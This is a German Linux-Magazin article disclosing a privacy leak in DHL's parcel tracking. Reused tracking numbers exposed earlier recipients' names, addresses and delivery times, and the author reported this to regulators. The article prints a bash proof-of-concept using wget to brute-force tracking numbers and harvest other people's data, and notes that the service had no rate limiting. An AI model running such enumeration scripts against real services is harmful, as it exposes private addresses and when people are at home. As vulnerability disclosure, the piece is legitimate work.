Open Source im professionellen Einsatz

Wie DHL Kundendaten preisgibt

Schöne Bescherung

Die Sendungsverfolgung des Paketdienstes DHL ist unsauber programmiert und verrät weit mehr als nur den aktuellen Status der eigenen Päckchen. Ein Linux-Magazin-Autor ist bei einer privaten Bestellung auf fremde Empfänger gestoßen. Simple Skripte genügten, und DHL überhäufte ihn mit Datengeschenken.

Für den Geburtstag eines Freundes hatte ich kurz vor knapp das ultimative Gadget gefunden: Ein Mini-Gewächshaus mit USB-Steuerung. Green IT mal wörtlich - das musste es sein. Also schnell das Gerät im Onlineshop bestellt, die versprochen zwei Tagen Lieferzeit genügten gerade noch für die Einladung. Kurz nach der Eingangsbestätigung sandte mir der Shop eine Mail mit einer DHL-Paketnummer und einem Link. Darüber sollte ich verfolgen, wo das Teil steckt. Doch beim Ausprobieren rieb ich mir die Augen: Ich erfuhr mehr, als ich wissen wollte. Unter anderem, dass DHL offenbar Paketnummern alle sechs Monate recycelt.

Zwar lernt jeder Datenbankentwickler, dass er Primärschlüssel nicht wiederverwenden darf, doch diese Lektion scheint DHL verschlafen zu haben. Schlimmer noch: Auf der angezeigten Webseite standen die vollständigen Namen und Adressen derjenigen, die vorher ein Paket mit dieser Paketnummer empfangen hatten. In meinem Fall einer aus Bad Homburg und ein Leipziger (Abbildung 1).

Abbildung 1: Etwas mehr Informationen als erwartet lieferte die Paketverfolgung von DHL. Aus Datenschutzgründen sind Teile des Bildes verfremdet: In ihnen steht die genaue Anschrift aller Empfänger.

Abbildung 1: Etwas mehr Informationen als erwartet lieferte die Paketverfolgung von DHL. Aus Datenschutzgründen sind Teile des Bildes verfremdet: In ihnen steht die genaue Anschrift aller Empfänger.

Noch heftiger: Die Auslieferungszeit verrät, wann die Empfänger vermutlich zu Hause waren, um das Paket anzunehmen. Es mag ja sein, dass DHL diese Daten aus Beweiszwecken aufbewahren muss, sie dürften aber auf keinen Fall für Fremde online abrufbar sein. Ich hätte erwartet, dass DHL wenigstens eine Kombination aus Name, Hausnummer und/oder Postleitzahl des Adressaten zusammen mit der Paketnummer nutzt, um den Empfänger zu authentifizieren. Bei der Variante "Track & Trace für jedermann" verlangt DHL immerhin die Postleitzahl, nicht jedoch beim hier verwendeten "Track & Trace Standard-Paket" [1].

Auf der Ergebnisseite (Abbildung 1) ist die Paketnummer anklickbar. Danach liefert DHL zum jeweiligen Vorgang detaillierte Informationen, wie in Abbildung 2 zu sehen ist. So konnte ich leicht erkennen, dass die drei Pakete alle aus Hamburg stammten und erstmals im Paketzentrum 21 registriert wurden. Interessant: Vielleicht hatten alle Empfänger beim gleichen Versandhändler bestellt?

Abbildung 2: Der Weg eines fremden Pakets: Einlieferungs-Paketzentrum ist, wie in den beiden anderen Fällen auch, »21 Hamburg«. Danach folgen alle Zwischenstationen und Zustellversuche.

Abbildung 2: Der Weg eines fremden Pakets: Einlieferungs-Paketzentrum ist, wie in den beiden anderen Fällen auch, »21 Hamburg«. Danach folgen alle Zwischenstationen und Zustellversuche.

Mit dem Schrecken war auch mein Forschergeist geweckt. Könnte ich Paketnummern raten? Ich variierte ein paar Stellen meiner Paketnummer manuell im Eingabeformular. Das Ergebnis war unbefriedigend. Die Webseite verriet mir, dass eine Prüfsumme nicht stimmt. Das ist eine interessante Information für einen Angreifer: Paketnummern haben also, ähnlich wie die ISBN oder Kreditkarten, eine Prüfziffer. Das vermeidet, dass ein zufälliger Zahlendreher versehentlich Informationen zu einem anderen Paket verrät, und es erkennt Fehler beim Scannen des Barcode.

Post-traumatisch

Das im Artikel beschriebene Datenleck hat der Autor sofort über den bayerischen Landesdatenschutzbeauftragen an den Bundesbeauftragten für Datenschutz und Informationsfreiheit gemeldet. Die Redaktion informierte DHL vorab. Die verblüffende Reaktion der Sprecher: DHL halte die datenschutzrechtlichen Bestimmungen ein und verbessere kontinuierlich seine Systeme, um "einem vorsätzlichen Datenmissbrauch entschieden entgegenzuwirken".

Dazu passt die restliche Erklärung nicht: Es liege keine Sicherheitslücke im Dienst "DHL Paket" vor, sondern ein "Versehen" des Shop-Betreibers, "indem er seinem Käufer statt dem Link zur Sendungsverfolgung einen Zugriff auf seine interne Sendungsverwaltung zur Verfügung gestellt hat." Das im Link kodierte Passwort »PUBLIC« sei ein Initialpasswort. Die Firma schiebt die Verantwortung also in Richtung Versender. DHL schließt mit dem Versprechen, bis zum Erscheinen des Linux-Magazins die Shop-Betreiber "erneut auf die Wichtigkeit der Passwortänderung sowie auf die Nutzung des korrekten Links" hinzuweisen und kündigt an, die Funktion zur internen Sendungsverwaltung zu deaktivieren. (A. Leitner)

Drum prüfe

Bei der Checksumme, so sagt die Webseite, handelt es sich um eine IDC-Prüfsumme. Nach einiger Recherche stellte sich heraus, dass diese DHL-eigene Bezeichnung nur für "Identcode" stehen soll. Meine Motivation, den Prüfsummenalgorithmus zu raten, war gering.

Doch wenn DHL die Paketnummern wie vermutet im Halbjahresabstand wiederverwendet, dann sollten eigentlich fast alle gültigen Paketnummern verbraucht sein und ein Brute-Force-Angriff viele Treffer liefern. Statt alles manuell durchzuprobieren, schrieb ich kurzerhand ein Skript. Zunächst lud ich die Webseite, um deren HTML-Code zu analysieren:

wget --no-check-certificate "https://nolb.dhl.de/nolb-easylog/directsst.do?v_benutzer=ZT12345&v_passwort=PUBLIC" -O tmp.html

Ein Blick in den HTML-Code in Listing 1 zeigt erstens, dass für künftige Zugriffe eine Session-ID notwendig ist, und zweitens, dass das automatisierte Ausfüllen des Formulars keine Schwierigkeiten erwarten lässt, etwa durch lästige Javascript-Schnipsel.

Demzufolge erwartet der Serverdienst den »shipmentCode« als POST-Parameter (Zeile 34) und die Session-ID in einer etwas verquirlten Form am Ende der URL (Zeile 11). Das ist für »wget« kein Problem. Auch die typischen Perl-HTTP-Module könnten das, aber so viel Aufwand wollte ich gar nicht treiben.

Sehr komfortabel ist bei DHL, dass der Kunde mehrere Nummern gleichzeitig abfragen darf, das spart Zugriffe. Schließlich überträgt der Server Unmengen von Design-Informationen im HTML, die einen Brute-Force-Angreifer unnötig Zeit und Bandbreite kosten. Als Proof of Concept schrieb ich das kleine Shellskript in Listing 2.

Listing 1:
HTML-Auszug

01 <html>
02 <head>
03   <meta http-equiv="Cache-Control" content="no-cache">
04   <meta http-equiv="Pragma" content="no-cache">
05   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
06   <title>
07     DHL Track &amp; Trace / Sendungssuche
08   </title>
09 [...]
10 <!-- Start of content -->
11 <form name="pieceSearchForm" method="post" action="/nolb-easylog/jsp/nol/piece/pieceSearchCheckAction.do;jsessionid=92B0A1C110C385A4D706F20B3EF18EE6.ws55">
12 [...]
13   <table border="0" cellpadding="0" cellspacing="0" width="100%">
14     <tr>
15       <td colspan="2" class="td_mediumGray_pad">
16         Bitte tragen Sie hier Ihre Sendungsnummern ein (max. 20 Stück) - bei mehr als einem Code jeweils durch Semikolon (;) getrennt. Verwenden Sie bitte keine Leerzeichen.
17       </td>
18     </tr>
19   </table>
20 [...]
21   <br>
22   <table border="0" cellpadding="0" cellspacing="0" width="100%">
23     <tr>
24       <td>
25         <table border="0" cellpadding="0" cellspacing="0" width="100%">
26           <tr>
27             <td colspan="2" class="td_mediumGray_pad">&nbsp;</td>
28           </tr>
29           <tr>
30             <td valign="top" class="th_mediumGray_pad">
31               Sendungsnummern / Packstücknummern
32             </td>
33             <td class="td_mediumGray_pad">
34               <textarea name="shipmentCode" rows="5" style="width:370px"></textarea>
35             </td>
36           </tr>
37 [...]

Listing 2: Paketnummern
erraten

01 #!/bin/bash
02 COUNTER=0
03 while [ $COUNTER -lt 999 ]
04   do
05     wget -c --no-check-certificate "https://nolb.dhl.de/nolb-easylog/jsp/nol/piece/pieceSearchCheckAction.do;jsessionid=F529C87F7A5A67447254F6526C4A4C2D.ws55" --post-data="shipmentCode=123456789012"`printf "%03d" $COUNTER` -Otest`printf "%03d" $COUNTER`.html
06     COUNTER=`expr $COUNTER + 1`
07   done
08 for name in `grep -l "IDC-Pr" test*.html`
09   do 
10     rm -f $name
11   done
12 for name in `grep -l "Zugriff auf diese Sendung verweigert. (EKP-Nr.)" test*.html`
13   do
14     rm -f $name
15   done
16 for name in `ls -1 test*.html`
17   do
18     lynx --dump $name | more
19   done

Textarbeit

In der langen Zeile 5 steht die eigentliche Arbeit: Wget holt die Seite. Es verwendet in der URL eine feste Session-ID und schickt per »--post-data« den Shipment-Code als HTTP-Post. Dabei variiert es die letzten drei Stellen der Paketnummer. Der Printf-Aufruf gibt den Counter-Wert dreistellig mit führenden Nullen aus.

Die Option »-O« bringt Wget dazu, das Ergebnis der Recherchen in eine Datei mit dem spezifizierten Namen zu schreiben, im vorliegenden Fall »testNummer.html« mit den letzten drei Ziffern der Paketnummer. Für ein richtiges Tool, das über eine Proof of Concept hinausgeht, wäre es sinnvoll, die Stellenzahl und den Wertebereich ordentlich zu parametrieren.

In den heruntergeladenen Files fahndet »grep -l« (Zeile 8) nach Seiten, die den Text »IDC-Pr« enthalten. Das sind die ersten Zeichen der IDC-Prüfsumme - sie sind zum Glück eindeutig genug, um den Umlaut ü und dessen HTML-Codierung zu ignorieren. Interessanterweise gelangen mir trotz der fixen Session-ID und gleichbleibender Client-IP-Adresse beliebig viele Downloads. Dem normalen Verhalten eines Kunden entspricht das sicherlich nicht. DHL benutzt offensichtlich keinerlei Limit, um Brute-Force-Attacken zu bremsen.

Diesen Artikel als PDF kaufen

Als digitales Abo

Als PDF im Abo bestellen

comments powered by Disqus

Ausgabe 07/2013

Preis € 6,40

Insecurity Bulletin

Insecurity Bulletin

Im Insecurity Bulletin widmet sich Mark Vogelsberger aktuellen Sicherheitslücken sowie Hintergründen und Security-Grundlagen. mehr...

Linux-Magazin auf Facebook